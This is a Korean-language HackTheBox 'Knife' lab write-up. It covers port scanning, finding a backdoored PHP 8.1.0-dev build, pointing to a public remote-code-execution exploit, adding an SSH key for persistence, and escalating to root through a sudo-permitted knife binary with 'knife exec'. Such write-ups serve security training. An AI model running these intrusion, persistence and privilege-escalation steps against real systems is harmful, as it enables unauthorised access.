[모의 해킹] HackTheBox - Knife
Knife
OS: Linux
취약점: PHP 백도어, 취약한 Sudo 권한 설정
백도어가 있는 PHP 버전이 설치된 리눅스 머신이다.
PHP 백도어를 활용해 타겟 머신에 접속하고 Sudo 권한으로
knife 바이너리를 통해 루트쉘을 얻어 공략할 수 있다.
포트 스캐닝
nmap -Pn -sS --min-rate 1000 --max-retries 3 -p- -oN ./SYN_SCAN 10.10.10.242
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -Pn -sC -sV -p 22,80 -oN SERVICE_SCAN 10.10.10.242
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SSH, HTTP 포트가 열려있다.
우선 웹부터 확인해 보자.
80/tcp HTTP
http://10.10.10.242를 요청했을 때 나오는 페이지다.
딱히 특이한 점은 보이지 않기 때문에 바로 Gobuster를 사용해 웹 디렉토리 탐색을 진행했다.
gobuster dir -u http://10.10.10.242 -w ../../wordlist/raft-large-directories.txt -o 80_dir_scan
다른 디렉터리는 탐색되지 않았고 index.php를 제외한 다른 파일들은 403 Forbidden 접근 제한이 되있다.
curl을 사용해서 index.php가 무슨 정보를 반환하는지 조금 더 살펴보자.
curl -v http://10.10.10.242
Apache 버전 2.4.41은 이미 nmap 서비스 스캐닝을 통해서 확인한 정보다.
X-Powered-By 헤더를 통해 PHP 버전이 8.1.0-dev인걸 확인할 수 있다. 이상한 점은 PHP 버전이 정식 버전이 아닌 개발용 버전이라는 점이다.
구글링을 통해 PHP 8.1.0-dev 버전이 백도어 취약점을 가지고 있는 버전이라는 것을 확인할 수 있었다. 해당 버전은 해커가 공식 PHP Git 리포지토리를 해킹한 후 백도어가 포함된 커밋을 푸시해서 백도어가 포함된 버전이다.
PHP Backdoor
해당 취약점을 공략하는 코드를 exploit-db에서 다운받을 수 있다.
https://www.exploit-db.com/exploits/49933
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution EDB-ID: 49933 CVE: N/A Date: 2021-06-03
www.exploit-db.com
권한 상승
매번 새로운 세션으로 명령어를 실행하는건 미친듯이 귀찮은 작업이기 때문에 SSH를 통해 지속적인 세션을 확보하자. james의 홈 디렉토리의 .ssh 풀더에 authorized_key 파일을 생성해 로컬 머신에서 원격 머신으로 SSH를 통해 접근 가능하도록 설정하자.
$ cat /home/james/.ssh/id_rsa.pub >> /home/james/.ssh/authorized_keys
┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $chmod 700 priv_key
┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $ssh -i /home/solo/Desktop/hack/priv_key james@10.10.10.242
확인해 보니 이미 .ssh 디렉토리에 사용자의 공개키와 비밀키가 있어서 굳이 새로운 RSA 키 페어를 생성하지 않아도 됐다. authorized_keys 파일을 생성하고 이 파일에 id_rsa.pub에 있는 공개키를 추가하자.
원격 머신으로 돌아가 비밀키 파일을 복붙한 뒤 접근 권한을 설정하고 해당 비밀키 파일을 사용해 원격 머신의 james 계정으로 접속할 수 있도록 만들었다.
성공적으로 james 계정으로 접속했으면 setuid 비트가 설정된 파일들과 james가 가지고 있는 sudo 권한을 확인해 보자.
james@knife:/tmp/tmp.vRATn00v65$ find / -type f -perm -4000 2>/dev/null > setuid.files
james@knife:/tmp/tmp.vRATn00v65$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
setuid가 설정된 꽤 많은 파일들을 확인할 수 있었지만 james가 sudo 권한으로 루트쉘을 얻을 수 있는 명령어를 찾아서 굳이 일일이 확인해 보진 않았다.
https://gtfobins.github.io/gtfobins/knife/
knife | GTFOBins
.. / knife Shell Sudo This is capable of running ruby code. Shell It can be used to break out from restricted environments by spawning an interactive system shell. knife exec -E 'exec "/bin/sh"' Sudo If the binary is allowed to run as superuser by sudo, it
gtfobins.github.io
knife는 Ruby 코드를 실행할 수 있는 파일인데 sudo 권한으로 knife를 통해 쉘을 생성하면 해당 쉘은 root 권한을 가지게 된다.
sudo knife exec -E 'exec "/bin/sh"'
아주 단순하고 쉬운 난이도의 Linux 박스였다.
간단한 구글링 만으로도 별 무리 없이 공략 가능한 박스다. 다만, 너무 복잡하게 접근한다면 이런 직관적이고 단순한 점이 오히려 독이 될수도 있다. 간단하게 HTTP Response만 확인하면 되는걸 괜히 이것 저것 시도하자가 시간을 낭비할 수 있으니 주의하자 ㅡㅡ;